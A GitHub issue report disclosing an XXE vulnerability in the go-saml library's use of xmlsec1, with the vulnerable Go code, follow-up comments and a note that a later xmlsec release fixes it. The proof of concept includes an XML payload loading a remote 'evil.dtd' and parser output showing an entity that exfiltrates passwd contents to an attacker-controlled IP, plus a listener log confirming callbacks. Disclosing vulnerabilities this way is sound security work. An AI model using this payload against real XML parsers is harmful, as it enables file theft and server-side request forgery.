Skip to content
This repository has been archived by the owner on Jun 6, 2023. It is now read-only.

XXE Vulnerability #14

Open
mrbrutti opened this issue Oct 16, 2016 · 3 comments
Open

XXE Vulnerability #14

mrbrutti opened this issue Oct 16, 2016 · 3 comments

Comments

@mrbrutti
Copy link

Description

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

Whenever xmlsec verifies, encrypt, decrypt an XML document the parse by default reads external entities resulting on an XXE Vulnerability.

The vulnerable code
xmlsec.go

https://github.com/RobotsAndPencils/go-saml/blob/master/xmlsec.go#L51

    // fmt.Println("xmlsec1", "--sign", "--privkey-pem", privateKeyPath,
    //  "--id-attr:ID", id,
    //  "--output", samlXmlsecOutput.Name(), samlXmlsecInput.Name())
    output, err := exec.Command("xmlsec1", "--sign", "--privkey-pem", privateKeyPath,
        "--id-attr:ID", id,
        "--output", samlXmlsecOutput.Name(), samlXmlsecInput.Name()).CombinedOutput()
    if err != nil {
        return "", errors.New(err.Error() + " : " + string(output))
    }

https://github.com/RobotsAndPencils/go-saml/blob/master/xmlsec.go#L92

    defer deleteTempFile(samlXmlsecInput.Name())

    //fmt.Println("xmlsec1", "--verify", "--pubkey-cert-pem", publicCertPath, "--id-attr:ID", id, samlXmlsecInput.Name())
    _, err = exec.Command("xmlsec1", "--verify", "--pubkey-cert-pem", publicCertPath, "--id-attr:ID", id, samlXmlsecInput.Name()).CombinedOutput()
    if err != nil {
        return errors.New("error verifing signature: " + err.Error())
    }
    return nil

Proof of Concept of xmlsec

$ cat input.xml 
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://192.168.3.1/evil.dtd"> %remote;]>
Running a fake command to test:
matt at バトー in /tmp
$ xmlsec1 --verify --output /tmp/output.xml /tmp/input.xml 
http://192.168.3.2/evil.dtd:1: parser warning : not validating will not read content for PE entity data
passwd"><!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://192.168.3.2/?%data;'>"
                                                                               ^
/tmp/input.xml:2: parser error : Start tag expected, '<' not found

^
Error: failed to parse xml file "/tmp/input.xml"
Error: failed to load document "/tmp/input.xml"
ERROR
SignedInfo References (ok/all): 0/0
Manifests References (ok/all): 0/0
Error: failed to verify file "/tmp/input.xml"

Listener:

❯❯❯ ruby server_only.rb 
Puma 2.14.0 starting...
* Min threads: 0, max threads: 16
* Environment: development
* Listening on tcp://192.168.3.1:80
== Sinatra (v1.4.6) has taken the stage on 80 for development with backup from Puma
The Server is Vulnerable | IP 192.168.3.2 | Path /evil.dtd
The Server is Vulnerable | IP 192.168.3.2 | Path /evil.dtd
The Server is Vulnerable | IP 192.168.3.2 | Path /evil.dtd
Note: The same results were found as a result of trying to encrypt or decyrpt content.

Recommendations

Even though the vulnerability is not directly responsible to go-saml. It is my recommendation that the go-saml library be more proactive and pre-filters any external DTDs by not allowing any of those during the marshall/unmarshall, instead of using the originalString at the time of signed/verify the SAML XML string using the vulnerable version of xmlsec/libxml2 libraries until the time the vulnerability can be correctly patched by itself.

For more information refer to:

@mrbrutti
Copy link
Author

Any updates here ? It's been open for a long time.

@junxie6
Copy link

junxie6 commented May 24, 2017

XML Security Library 1.2.24 release (April 20 2017) disabled external entities loading by default to prevent XXE attacks (d-hat)
https://www.aleksey.com/xmlsec/

@andresriancho
Copy link

Should this be closed?

mohamedGr pushed a commit to mohamedGr/go-saml that referenced this issue Jun 29, 2022
feat: add support to read cert and keys from files
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants